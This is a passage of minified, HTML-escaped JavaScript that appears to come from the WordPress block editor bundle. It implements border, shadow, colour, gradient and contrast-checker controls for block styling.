0})),[]),j=l?.color||l?.width,E=m||f||b||k,M=Rp({blockName:s,hasShadowControl:x,hasBorderControl:E});return(0,d.jsxs)(e,{resetAllFilter:I,value:t,onChange:n,panelId:i,label:M,children:[(b||m)&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;(0,Ss.__experimentalIsDefinedBorder)(t?.border),label:(0,T.__)(&quot;Border&quot;),onDeselect:()=&gt;(()=&gt;{if(y())return g({radius:t?.border?.radius});g(void 0)})(),isShownByDefault:j,panelId:i,children:(0,d.jsx)(Ss.BorderBoxControl,{colors:a,enableAlpha:!0,enableStyle:f,onChange:e=&gt;{const t={...e};(0,Ss.__experimentalHasSplitBorders)(t)?[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;].forEach((e=&gt;{t[e]&amp;&amp;(t[e]={...t[e],color:u(t[e]?.color)})})):t&amp;&amp;(t.color=u(t.color)),g({radius:p?.radius,...t})},popoverOffset:40,popoverPlacement:&quot;left-start&quot;,value:p,__experimentalIsRenderedInSidebar:!0,size:&quot;__unstable-large&quot;,hideLabelFromVision:!x,label:(0,T.__)(&quot;Border&quot;)})}),k&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:y,label:(0,T.__)(&quot;Radius&quot;),onDeselect:()=&gt;_(void 0),isShownByDefault:l.radius,panelId:i,children:(0,d.jsx)(op,{presets:r?.border?.radiusSizes,values:v,onChange:e=&gt;{_(e||void 0)}})}),x&amp;&amp;(0,d.jsxs)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Shadow&quot;),hasValue:()=&gt;!!t?.shadow,onDeselect:()=&gt;B(void 0),isShownByDefault:l.shadow,panelId:i,children:[E?(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Shadow&quot;)}):null,(0,d.jsx)(up,{shadow:S,onShadowChange:B,settings:r})]})]})}const Sp=&quot;__experimentalBorder&quot;,wp=&quot;shadow&quot;,Cp=(e,t,n)=&gt;{let o;return e.some((e=&gt;e.colors.some((e=&gt;e[t]===n&amp;&amp;(o=e,!0))))),o},Bp=({colors:e,namedColor:t,customColor:n})=&gt;{if(t){const n=Cp(e,&quot;slug&quot;,t);if(n)return n}if(!n)return{color:void 0};const o=Cp(e,&quot;color&quot;,n);return o||{color:n}};function Ip(e){const t=/var:preset\|color\|(.+)/.exec(e);return t&amp;&amp;t[1]?t[1]:null}function jp(e){if((0,Ss.__experimentalHasSplitBorders)(e?.border))return{style:e,borderColor:void 0};const t=e?.border?.color,n=t?.startsWith(&quot;var:preset|color|&quot;)?t.substring(17):void 0,o={...e};return o.border={...o.border,color:n?void 0:t},{style:ms(o),borderColor:n}}function Ep(e){return(0,Ss.__experimentalHasSplitBorders)(e.style?.border)?e.style:{...e.style,border:{...e.style?.border,color:e.borderColor?&quot;var:preset|color|&quot;+e.borderColor:e.style?.border?.color}}}function Tp({label:e,children:t,resetAllFilter:n}){const o=(0,h.useCallback)((e=&gt;{const t=Ep(e),o=n(t);return{...e,...jp(o)}}),[n]);return(0,d.jsx)(Va,{group:&quot;border&quot;,resetAllFilter:o,label:e,children:t})}function Mp({clientId:e,name:t,setAttributes:n,settings:o}){const r=hp(o);const{style:i,borderColor:s}=(0,g.useSelect)((function(t){const{style:n,borderColor:o}=t(Ii).getBlockAttributes(e)||{};return{style:n,borderColor:o}}),[e]),l=(0,h.useMemo)((()=&gt;Ep({style:i,borderColor:s})),[i,s]);if(!r)return null;const a={...(0,p.getBlockSupport)(t,[Sp,&quot;__experimentalDefaultControls&quot;]),...(0,p.getBlockSupport)(t,[wp,&quot;__experimentalDefaultControls&quot;])};return(0,d.jsx)(xp,{as:Tp,panelId:e,settings:o,value:l,onChange:e=&gt;{n(jp(e))},defaultControls:a})}function Pp(e,t=&quot;any&quot;){if(&quot;web&quot;!==h.Platform.OS)return!1;const n=(0,p.getBlockSupport)(e,Sp);return!0===n||(&quot;any&quot;===t?!!(n?.color||n?.radius||n?.width||n?.style):!!n?.[t])}function Rp({blockName:e,hasBorderControl:t,hasShadowControl:n}={}){const o=gp(ys(e));return t||n||!e||(t=o?.hasBorderColor||o?.hasBorderStyle||o?.hasBorderWidth||o?.hasBorderRadius,n=o?.hasShadow),t&amp;&amp;n?(0,T.__)(&quot;Border &amp; Shadow&quot;):n?(0,T.__)(&quot;Shadow&quot;):(0,T.__)(&quot;Border&quot;)}function Ap(e,t,n){if(!Pp(t,&quot;color&quot;)||bs(t,Sp,&quot;color&quot;))return e;const o=Np(n),r=gs(e.className,o);return e.className=r||void 0,e}function Np(e){const{borderColor:t,style:n}=e,o=Rd(&quot;border-color&quot;,t);return gs({&quot;has-border-color&quot;:t||n?.border?.color,[o]:!!o})}var Lp={useBlockProps:function({name:e,borderColor:t,style:n}){const{colors:o}=Ad();if(!Pp(e,&quot;color&quot;)||bs(e,Sp,&quot;color&quot;))return{};const{color:r}=Bp({colors:o,namedColor:t}),{color:i}=Bp({colors:o,namedColor:Ip(n?.border?.top?.color)}),{color:s}=Bp({colors:o,namedColor:Ip(n?.border?.right?.color)}),{color:l}=Bp({colors:o,namedColor:Ip(n?.border?.bottom?.color)}),{color:a}=Bp({colors:o,namedColor:Ip(n?.border?.left?.color)});return Ap({style:ms({borderTopColor:i||r,borderRightColor:s||r,borderBottomColor:l||r,borderLeftColor:a||r})||{}},e,{borderColor:t,style:n})},addSaveProps:Ap,attributeKeys:[&quot;borderColor&quot;,&quot;style&quot;],hasSupport:e=&gt;Pp(e,&quot;color&quot;)};function Dp(e){if(e)return`has-${e}-gradient-background`}function Op(e,t){const n=e?.find((e=&gt;e.slug===t));return n&amp;&amp;n.gradient}function zp(e,t){const n=e?.find((e=&gt;e.gradient===t));return n}function Vp(e,t){const n=zp(e,t);return n&amp;&amp;n.slug}function Fp({gradientAttribute:e=&quot;gradient&quot;,customGradientAttribute:t=&quot;customGradient&quot;}={}){const{clientId:n}=C(),[o,r,i]=Ei(&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;),s=(0,h.useMemo)((()=&gt;[...o||[],...r||[],...i||[]]),[o,r,i]),{gradient:l,customGradient:a}=(0,g.useSelect)((o=&gt;{const{getBlockAttributes:r}=o(Ii),i=r(n)||{};return{customGradient:i[t],gradient:i[e]}}),[n,e,t]),{updateBlockAttributes:c}=(0,g.useDispatch)(Ii),u=(0,h.useCallback)((o=&gt;{const r=Vp(s,o);c(n,r?{[e]:r,[t]:void 0}:{[e]:void 0,[t]:o})}),[s,n,c]),d=Dp(l);let p;return p=l?Op(s,l):a,{gradientClass:d,gradientValue:p,setGradient:u}}(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/border/addAttributes&quot;,(function(e){return Pp(e,&quot;color&quot;)?e.attributes.borderColor?e:{...e,attributes:{...e.attributes,borderColor:{type:&quot;string&quot;}}}:e}));const{Tabs:Hp}=U(Ss.privateApis),Up=[&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;gradients&quot;,&quot;disableCustomGradients&quot;],Gp=&quot;color&quot;,$p=&quot;gradient&quot;;function Wp({colors:e,gradients:t,disableCustomColors:n,disableCustomGradients:o,__experimentalIsRenderedInSidebar:r,className:i,label:s,onColorChange:l,onGradientChange:a,colorValue:c,gradientValue:u,clearable:p,showTitle:h=!0,enableAlpha:g,headingLevel:m}){const f=l&amp;&amp;(e&amp;&amp;e.length&gt;0||!n),b=a&amp;&amp;(t&amp;&amp;t.length&gt;0||!o);if(!f&amp;&amp;!b)return null;const k={[Gp]:(0,d.jsx)(Ss.ColorPalette,{value:c,onChange:b?e=&gt;{l(e),a()}:l,colors:e,disableCustomColors:n,__experimentalIsRenderedInSidebar:r,clearable:p,enableAlpha:g,headingLevel:m}),[$p]:(0,d.jsx)(Ss.GradientPicker,{value:u,onChange:f?e=&gt;{a(e),l()}:a,gradients:t,disableCustomGradients:o,__experimentalIsRenderedInSidebar:r,clearable:p,headingLevel:m})},v=e=&gt;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-color-gradient-control__panel&quot;,children:k[e]});return(0,d.jsx)(Ss.BaseControl,{__nextHasNoMarginBottom:!0,className:gs(&quot;block-editor-color-gradient-control&quot;,i),children:(0,d.jsx)(&quot;fieldset&quot;,{className:&quot;block-editor-color-gradient-control__fieldset&quot;,children:(0,d.jsxs)(Ss.__experimentalVStack,{spacing:1,children:[h&amp;&amp;(0,d.jsx)(&quot;legend&quot;,{children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-color-gradient-control__color-indicator&quot;,children:(0,d.jsx)(Ss.BaseControl.VisualLabel,{children:s})})}),f&amp;&amp;b&amp;&amp;(0,d.jsx)(&quot;div&quot;,{children:(0,d.jsxs)(Hp,{defaultTabId:u?$p:!!f&amp;&amp;Gp,children:[(0,d.jsxs)(Hp.TabList,{children:[(0,d.jsx)(Hp.Tab,{tabId:Gp,children:(0,T.__)(&quot;Color&quot;)}),(0,d.jsx)(Hp.Tab,{tabId:$p,children:(0,T.__)(&quot;Gradient&quot;)})]}),(0,d.jsx)(Hp.TabPanel,{tabId:Gp,className:&quot;block-editor-color-gradient-control__panel&quot;,focusable:!1,children:k.color}),(0,d.jsx)(Hp.TabPanel,{tabId:$p,className:&quot;block-editor-color-gradient-control__panel&quot;,focusable:!1,children:k.gradient})]})}),!b&amp;&amp;v(Gp),!f&amp;&amp;v($p)]})})})}function Kp(e){const[t,n,o,r]=Ei(&quot;color.palette&quot;,&quot;color.gradients&quot;,&quot;color.custom&quot;,&quot;color.customGradient&quot;);return(0,d.jsx)(Wp,{colors:t,gradients:n,disableCustomColors:!o,disableCustomGradients:!r,...e})}var Zp=function(e){return Up.every((t=&gt;e.hasOwnProperty(t)))?(0,d.jsx)(Wp,{...e}):(0,d.jsx)(Kp,{...e})};function qp(e){const t=Yp(e),n=th(e),o=Xp(e),r=Jp(e),i=eh(e),s=Qp(e);return t||n||o||r||i||s}function Yp(e){const t=ds(e);return e?.color?.text&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Xp(e){const t=ds(e);return e?.color?.link&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Qp(e){const t=ds(e);return e?.color?.caption&amp;&amp;(t?.length&gt;0||e?.color?.custom)}function Jp(e){const t=ds(e),n=ps(e);return e?.color?.heading&amp;&amp;(t?.length&gt;0||e?.color?.custom||n?.length&gt;0||e?.color?.customGradient)}function eh(e){const t=ds(e),n=ps(e);return e?.color?.button&amp;&amp;(t?.length&gt;0||e?.color?.custom||n?.length&gt;0||e?.color?.customGradient)}function th(e){const t=ds(e),n=ps(e);return e?.color?.background&amp;&amp;(t?.length&gt;0||e?.color?.custom||n?.length&gt;0||e?.color?.customGradient)}function nh({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r}){const i=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:(0,T.__)(&quot;Elements&quot;),resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,hasInnerWrapper:!0,headingLevel:3,className:&quot;color-block-support-panel&quot;,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,dropdownMenuProps:i,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;color-block-support-panel__inner-wrapper&quot;,children:r})})}const oh={text:!0,background:!0,link:!0,heading:!0,button:!0,caption:!0},rh={placement:&quot;left-start&quot;,offset:36,shift:!0},{Tabs:ih}=U(Ss.privateApis),sh=({indicators:e,label:t})=&gt;(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,d.jsx)(Ss.__experimentalZStack,{isLayered:!1,offset:-8,children:e.map(((e,t)=&gt;(0,d.jsx)(Ss.Flex,{expanded:!1,children:(0,d.jsx)(Ss.ColorIndicator,{colorValue:e})},t)))}),(0,d.jsx)(Ss.FlexItem,{className:&quot;block-editor-panel-color-gradient-settings__color-name&quot;,children:t})]});function lh({isGradient:e,inheritedValue:t,userValue:n,setValue:o,colorGradientControlSettings:r}){return(0,d.jsx)(Zp,{...r,showTitle:!1,enableAlpha:!0,__experimentalIsRenderedInSidebar:!0,colorValue:e?void 0:t,gradientValue:e?t:void 0,onColorChange:e?void 0:o,onGradientChange:e?o:void 0,clearable:t===n,headingLevel:3})}function ah({label:e,hasValue:t,resetValue:n,isShownByDefault:o,indicators:r,tabs:i,colorGradientControlSettings:s,panelId:l}){const a=i.find((e=&gt;void 0!==e.userValue)),{key:c,...u}=i[0]??{},p=(0,h.useRef)(void 0);return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;block-editor-tools-panel-color-gradient-settings__item&quot;,hasValue:t,label:e,onDeselect:n,isShownByDefault:o,panelId:l,children:(0,d.jsx)(Ss.Dropdown,{popoverProps:rh,className:&quot;block-editor-tools-panel-color-gradient-settings__dropdown&quot;,renderToggle:({onToggle:o,isOpen:i})=&gt;{const s={onClick:o,className:gs(&quot;block-editor-panel-color-gradient-settings__dropdown&quot;,{&quot;is-open&quot;:i}),&quot;aria-expanded&quot;:i,ref:p};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{...s,__next40pxDefaultSize:!0,children:(0,d.jsx)(sh,{indicators:r,label:e})}),t()&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Reset&quot;),className:&quot;block-editor-panel-color-gradient-settings__reset&quot;,size:&quot;small&quot;,icon:Fa,onClick:()=&gt;{n(),i&amp;&amp;o(),p.current?.focus()}})]})},renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-panel-color-gradient-settings__dropdown-content&quot;,children:[1===i.length&amp;&amp;(0,d.jsx)(lh,{...u,colorGradientControlSettings:s},c),i.length&gt;1&amp;&amp;(0,d.jsxs)(ih,{defaultTabId:a?.key,children:[(0,d.jsx)(ih.TabList,{children:i.map((e=&gt;(0,d.jsx)(ih.Tab,{tabId:e.key,children:e.label},e.key)))}),i.map((e=&gt;{const{key:t,...n}=e;return(0,d.jsx)(ih.TabPanel,{tabId:t,focusable:!1,children:(0,d.jsx)(lh,{...n,colorGradientControlSettings:s},t)},t)}))]})]})})})})}function ch({as:e=nh,value:t,onChange:n,inheritedValue:o=t,settings:r,panelId:i,defaultControls:s=oh,children:l}){const a=ds(r),c=ps(r),u=r?.color?.custom,p=r?.color?.customGradient,g=a.length&gt;0||u,m=c.length&gt;0||p,f=e=&gt;es({settings:r},&quot;&quot;,e),b=e=&gt;{const t=a.flatMap((({colors:e})=&gt;e)).find((({color:t})=&gt;t===e));return t?&quot;var:preset|color|&quot;+t.slug:e},k=e=&gt;{const t=c.flatMap((({gradients:e})=&gt;e)).find((({gradient:t})=&gt;t===e));return t?&quot;var:preset|gradient|&quot;+t.slug:e},v=th(r),_=f(o?.color?.background),y=f(t?.color?.background),x=f(o?.color?.gradient),S=f(t?.color?.gradient),w=Xp(r),C=f(o?.elements?.link?.color?.text),B=f(t?.elements?.link?.color?.text),I=f(o?.elements?.link?.[&quot;:hover&quot;]?.color?.text),j=f(t?.elements?.link?.[&quot;:hover&quot;]?.color?.text),E=Yp(r),M=f(o?.color?.text),P=f(t?.color?.text),R=e=&gt;{let o=ge(t,[&quot;color&quot;,&quot;text&quot;],b(e));M===C&amp;&amp;(o=ge(o,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],b(e))),n(o)},A=[{name:&quot;caption&quot;,label:(0,T.__)(&quot;Captions&quot;),showPanel:Qp(r)},{name:&quot;button&quot;,label:(0,T.__)(&quot;Button&quot;),showPanel:eh(r)},{name:&quot;heading&quot;,label:(0,T.__)(&quot;Heading&quot;),showPanel:Jp(r)},{name:&quot;h1&quot;,label:(0,T.__)(&quot;H1&quot;),showPanel:Jp(r)},{name:&quot;h2&quot;,label:(0,T.__)(&quot;H2&quot;),showPanel:Jp(r)},{name:&quot;h3&quot;,label:(0,T.__)(&quot;H3&quot;),showPanel:Jp(r)},{name:&quot;h4&quot;,label:(0,T.__)(&quot;H4&quot;),showPanel:Jp(r)},{name:&quot;h5&quot;,label:(0,T.__)(&quot;H5&quot;),showPanel:Jp(r)},{name:&quot;h6&quot;,label:(0,T.__)(&quot;H6&quot;),showPanel:Jp(r)}],N=(0,h.useCallback)((e=&gt;({...e,color:void 0,elements:{...e?.elements,link:{...e?.elements?.link,color:void 0,&quot;:hover&quot;:{color:void 0}},...A.reduce(((t,n)=&gt;({...t,[n.name]:{...e?.elements?.[n.name],color:void 0}})),{})}})),[]),L=[E&amp;&amp;{key:&quot;text&quot;,label:(0,T.__)(&quot;Text&quot;),hasValue:()=&gt;!!P,resetValue:()=&gt;R(void 0),isShownByDefault:s.text,indicators:[M],tabs:[{key:&quot;text&quot;,label:(0,T.__)(&quot;Text&quot;),inheritedValue:M,setValue:R,userValue:P}]},v&amp;&amp;{key:&quot;background&quot;,label:(0,T.__)(&quot;Background&quot;),hasValue:()=&gt;!!y||!!S,resetValue:()=&gt;{const e=ge(t,[&quot;color&quot;,&quot;background&quot;],void 0);e.color.gradient=void 0,n(e)},isShownByDefault:s.background,indicators:[x??_],tabs:[g&amp;&amp;{key:&quot;background&quot;,label:(0,T.__)(&quot;Color&quot;),inheritedValue:_,setValue:e=&gt;{const o=ge(t,[&quot;color&quot;,&quot;background&quot;],b(e));o.color.gradient=void 0,n(o)},userValue:y},m&amp;&amp;{key:&quot;gradient&quot;,label:(0,T.__)(&quot;Gradient&quot;),inheritedValue:x,setValue:e=&gt;{const o=ge(t,[&quot;color&quot;,&quot;gradient&quot;],k(e));o.color.background=void 0,n(o)},userValue:S,isGradient:!0}].filter(Boolean)},w&amp;&amp;{key:&quot;link&quot;,label:(0,T.__)(&quot;Link&quot;),hasValue:()=&gt;!!B||!!j,resetValue:()=&gt;{let e=ge(t,[&quot;elements&quot;,&quot;link&quot;,&quot;:hover&quot;,&quot;color&quot;,&quot;text&quot;],void 0);e=ge(e,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],void 0),n(e)},isShownByDefault:s.link,indicators:[C,I],tabs:[{key:&quot;link&quot;,label:(0,T.__)(&quot;Default&quot;),inheritedValue:C,setValue:e=&gt;{n(ge(t,[&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;],b(e)))},userValue:B},{key:&quot;hover&quot;,label:(0,T.__)(&quot;Hover&quot;),inheritedValue:I,setValue:e=&gt;{n(ge(t,[&quot;elements&quot;,&quot;link&quot;,&quot;:hover&quot;,&quot;color&quot;,&quot;text&quot;],b(e)))},userValue:j}]}].filter(Boolean);return A.forEach((({name:e,label:r,showPanel:i})=&gt;{if(!i)return;const l=f(o?.elements?.[e]?.color?.background),a=f(o?.elements?.[e]?.color?.gradient),c=f(o?.elements?.[e]?.color?.text),u=f(t?.elements?.[e]?.color?.background),d=f(t?.elements?.[e]?.color?.gradient),p=f(t?.elements?.[e]?.color?.text),h=&quot;caption&quot;!==e;L.push({key:e,label:r,hasValue:()=&gt;!!(p||u||d),resetValue:()=&gt;{const o=ge(t,[&quot;elements&quot;,e,&quot;color&quot;,&quot;background&quot;],void 0);o.elements[e].color.gradient=void 0,o.elements[e].color.text=void 0,n(o)},isShownByDefault:s[e],indicators:h?[c,a??l]:[c],tabs:[g&amp;&amp;{key:&quot;text&quot;,label:(0,T.__)(&quot;Text&quot;),inheritedValue:c,setValue:o=&gt;{n(ge(t,[&quot;elements&quot;,e,&quot;color&quot;,&quot;text&quot;],b(o)))},userValue:p},g&amp;&amp;h&amp;&amp;{key:&quot;background&quot;,label:(0,T.__)(&quot;Background&quot;),inheritedValue:l,setValue:o=&gt;{const r=ge(t,[&quot;elements&quot;,e,&quot;color&quot;,&quot;background&quot;],b(o));r.elements[e].color.gradient=void 0,n(r)},userValue:u},m&amp;&amp;h&amp;&amp;{key:&quot;gradient&quot;,label:(0,T.__)(&quot;Gradient&quot;),inheritedValue:a,setValue:o=&gt;{const r=ge(t,[&quot;elements&quot;,e,&quot;color&quot;,&quot;gradient&quot;],k(o));r.elements[e].color.background=void 0,n(r)},userValue:d,isGradient:!0}].filter(Boolean)})})),(0,d.jsxs)(e,{resetAllFilter:N,value:t,onChange:n,panelId:i,children:[L.map((e=&gt;{const{key:t,...n}=e;return(0,d.jsx)(ah,{...n,colorGradientControlSettings:{colors:a,disableCustomColors:!u,gradients:c,disableCustomGradients:!p},panelId:i},t)})),l]})}Cd([Bd,Ed]);var uh=function({backgroundColor:e,fallbackBackgroundColor:t,fallbackTextColor:n,fallbackLinkColor:o,fontSize:r,isLargeText:i,textColor:s,linkColor:l,enableAlphaChecker:a=!1}){const c=e||t;if(!c)return null;const u=s||n,p=l||o;if(!u&amp;&amp;!p)return null;const h=[{color:u,description:(0,T.__)(&quot;text color&quot;)},{color:p,description:(0,T.__)(&quot;link color&quot;)}],g=Sd(c),m=g.alpha()&lt;1,f=g.brightness(),b={level:&quot;AA&quot;,size:i||!1!==i&amp;&amp;r&gt;=24?&quot;large&quot;:&quot;small&quot;};let k=&quot;&quot;,v=&quot;&quot;;for(const e of h){if(!e.color)continue;const t=Sd(e.color),n=t.isReadable(g,b),o=t.alpha()&lt;1;if(!n){if(m||o)continue;k=f&lt;t.brightness()?(0,T.sprintf)((0,T.__)(&quot;This color combination may be hard for people to read. Try using a darker background color and/or a brighter %s.&quot;),e.description):(0,T.sprintf)((0,T.__)(&quot;This color combination may be hard for people to read. Try using a brighter background color and/or a darker %s.&quot;),e.description),v=(0,T.__)(&quot;This color combination may be hard for people to read.&quot;);break}o&amp;&amp;a&amp;&amp;(k=(0,T.__)(&quot;Transparent text may be hard for people to read.&quot;),v=(0,T.__)(&quot;Transparent text may be hard for people to read.&quot;))}return k?((0,Ho.speak)(v),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-contrast-checker&quot;,children:(0,d.jsx)(Ss.Notice,{spokenMessage:null,status:&quot;warning&quot;,isDismissible:!1,children:k})})):null};const dh=(0,h.createContext)({refsMap:(0,m.observableMap)()});function ph({children:e}){const t=(0,h.useMemo)((()=&gt;({refsMap:(0,m.observableMap)()})),[]);return(0,d.jsx)(dh.Provider,{value:t,children:e})}function hh(e){const{refsMap:t}=(0,h.useContext)(dh);return(0,m.useRefEffect)((n=&gt;(t.set(e,n),()=&gt;t.delete(e))),[e])}function gh(e,t){&quot;function&quot;==typeof e?e(t):e&amp;&amp;(e.current=t)}function mh(e,t){const{refsMap:n}=(0,h.useContext)(dh);(0,h.useLayoutEffect)((()=&gt;{gh(t,n.get(e));const o=n.subscribe(e,(()=&gt;gh(t,n.get(e))));return()=&gt;{o(),gh(t,null)}}),[n,e,t])}function fh(e){const[t,n]=(0,h.useState)(null);return mh(e,n),t}function bh(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function kh(e,t){return Object.keys(t).some((n=&gt;e[n]!==t[n]))?t:e}function vh({clientId:e}){const t=fh(e),[n,o]=(0,h.useReducer)(kh,{});return(0,h.useLayoutEffect)((()=&gt;{function e(){o(function(e){if(!e)return{};const t=e.querySelector(&quot;a&quot;),n=t?.innerText?bh(t,&quot;color&quot;):void 0,o=bh(e,&quot;color&quot;);let r=e,i=bh(r,&quot;background-color&quot;);for(;&quot;rgba(0, 0, 0, 0)&quot;===i&amp;&amp;r.parentNode&amp;&amp;r.parentNode.nodeType===r.parentNode.ELEMENT_NODE;)r=r.parentNode,i=bh(r,&quot;background-color&quot;);return{textColor:o,backgroundColor:i,linkColor:n}}(t))}t&amp;&amp;window.requestAnimationFrame((()=&gt;window.requestAnimationFrame(e)))})),(0,d.jsx)(uh,{backgroundColor:n.backgroundColor,textColor:n.textColor,linkColor:n.linkColor,enableAlphaChecker:!0})}dh.displayName=&quot;BlockRefsContext&quot;;const _h=&quot;color&quot;,yh=e=&gt;{const t=(0,p.getBlockSupport)(e,_h);return t&amp;&amp;(!0===t.link||!0===t.gradient||!1!==t.background||!1!==t.text)},xh=e=&gt;{if(&quot;web&quot;!==h.Platform.OS)return!1;const t=(0,p.getBlockSupport)(e,_h);return null!==t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;!!t.link},Sh=e=&gt;{const t=(0,p.getBlockSupport)(e,_h);return null!==t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;!!t.gradients},wh=e=&gt;{const t=(0,p.getBlockSupport)(e,_h);return t&amp;&amp;!1!==t.background},Ch=e=&gt;{const t=(0,p.getBlockSupport)(e,_h);return t&amp;&amp;!1!==t.text};function Bh(e,t,n){if(!yh(t)||bs(t,_h))return e;const o=Sh(t),{backgroundColor:r,textColor:i,gradient:s,style:l}=n,a=e=&gt;!bs(t,_h,e),c=a(&quot;text&quot;)?Rd(&quot;color&quot;,i):void 0,u=a(&quot;gradients&quot;)?Dp(s):void 0,d=a(&quot;background&quot;)?Rd(&quot;background-color&quot;,r):void 0,p=a(&quot;background&quot;)||a(&quot;gradients&quot;),h=r||l?.color?.background||o&amp;&amp;(s||l?.color?.gradient),g=gs(e.className,c,u,{[d]:!(o&amp;&amp;l?.color?.gradient||!d),&quot;has-text-color&quot;:a(&quot;text&quot;)&amp;&amp;(i||l?.color?.text),&quot;has-background&quot;:p&amp;&amp;h,&quot;has-link-color&quot;:a(&quot;link&quot;)&amp;&amp;l?.elements?.link?.color});return e.className=g||void 0,e}function Ih(e){const t=e?.color?.text,n=t?.startsWith(&quot;var:preset|color|&quot;)?t.substring(17):void 0,o=e?.color?.background,r=o?.startsWith(&quot;var:preset|color|&quot;)?o.substring(17):void 0,i=e?.color?.gradient,s=i?.startsWith(&quot;var:preset|gradient|&quot;)?i.substring(20):void 0,l={...e};return l.color={...l.color,text:n?void 0:t,background:r?void 0:o,gradient:s?void 0:i},{style:ms(l),textColor:n,backgroundColor:r,gradient:s}}function jh(e){return{...e.style,color:{...e.style?.color,text:e.textColor?&quot;var:preset|color|&quot;+e.textColor:e.style?.color?.text,background:e.backgroundColor?&quot;var:preset|color|&quot;+e.backgroundColor:e.style?.color?.background,gradient:e.gradient?&quot;var:preset|gradient|&quot;+e.gradient:e.style?.color?.gradient}}}function Eh({children:e,resetAllFilter:t}){const n=(0,h.useCallback)((e=&gt;{const n=jh(e),o=t(n);return{...e,...Ih(o)}}),[t]);return(0,d.jsx)(Va,{group:&quot;color&quot;,resetAllFilter:n,children:e})}function Th({clientId:e,name:t,setAttributes:n,settings:o}){const r=qp(o);const{style:i,textColor:s,backgroundColor:l,gradient:a}=(0,g.useSelect)((function(t){const{style:n,textColor:o,backgroundColor:r,gradient:i}=t(Ii).getBlockAttributes(e)||{};return{style:n,textColor:o,backgroundColor:r,gradient:i}}),[e]),c=(0,h.useMemo)((()=&gt;jh({style:i,textColor:s,backgroundColor:l,gradient:a})),[i,s,l,a]);if(!r)return null;const u=(0,p.getBlockSupport)(t,[_h,&quot;__experimentalDefaultControls&quot;]),m=&quot;web&quot;===h.Platform.OS&amp;&amp;!c?.color?.gradient&amp;&amp;(o?.color?.text||o?.color?.link)&amp;&amp;!1!==(0,p.getBlockSupport)(t,[_h,&quot;enableContrastChecker&quot;]);return(0,d.jsx)(ch,{as:Eh,panelId:e,settings:o,value:c,onChange:e=&gt;{n(Ih(e))},defaultControls:u,enableContrastChecker:!1!==(0,p.getBlockSupport)(t,[_h,&quot;enableContrastChecker&quot;]),children:m&amp;&amp;(0,d.jsx)(vh,{clientId:e})})}var Mh={useBlockProps:function({name:e,backgroundColor:t,textColor:n,gradient:o,style:r}){const[i,s,l]=Ei(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;),a=(0,h.useMemo)((()=&gt;[...i||[],...s||[],...l||[]]),[i,s,l]);if(!yh(e)||bs(e,_h))return{};const c={};n&amp;&amp;!bs(e,_h,&quot;text&quot;)&amp;&amp;(c.color=Md(a,n)?.color),t&amp;&amp;!bs(e,_h,&quot;background&quot;)&amp;&amp;(c.backgroundColor=Md(a,t)?.color);const u=Bh({style:c},e,{textColor:n,backgroundColor:t,gradient:o,style:r}),d=t||r?.color?.background||o||r?.color?.gradient;return{...u,className:gs(u.className,!d&amp;&amp;Au(r))}},addSaveProps:Bh,attributeKeys:[&quot;backgroundColor&quot;,&quot;textColor&quot;,&quot;gradient&quot;,&quot;style&quot;],hasSupport:yh};const Ph={linkColor:[[&quot;style&quot;,&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;]],textColor:[[&quot;textColor&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;text&quot;]],backgroundColor:[[&quot;backgroundColor&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;background&quot;]],gradient:[[&quot;gradient&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;gradient&quot;]]};function Rh({__next40pxDefaultSize:e=!1,__nextHasNoMarginBottom:t=!1,value:n=&quot;&quot;,onChange:o,fontFamilies:r,className:i,...s}){const[l]=Ei(&quot;typography.fontFamilies&quot;);if(r||(r=l),!r||0===r.length)return null;const a=[{key:&quot;&quot;,name:(0,T.__)(&quot;Default&quot;)},...r.map((({fontFamily:e,name:t})=&gt;({key:e,name:t||e,style:{fontFamily:e}})))];t||I()(&quot;Bottom margin styles for wp.blockEditor.FontFamilyControl&quot;,{since:&quot;6.7&quot;,version:&quot;7.0&quot;,hint:&quot;Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version&quot;}),e||void 0!==s.size&amp;&amp;&quot;default&quot;!==s.size||I()(&quot;36px default size for 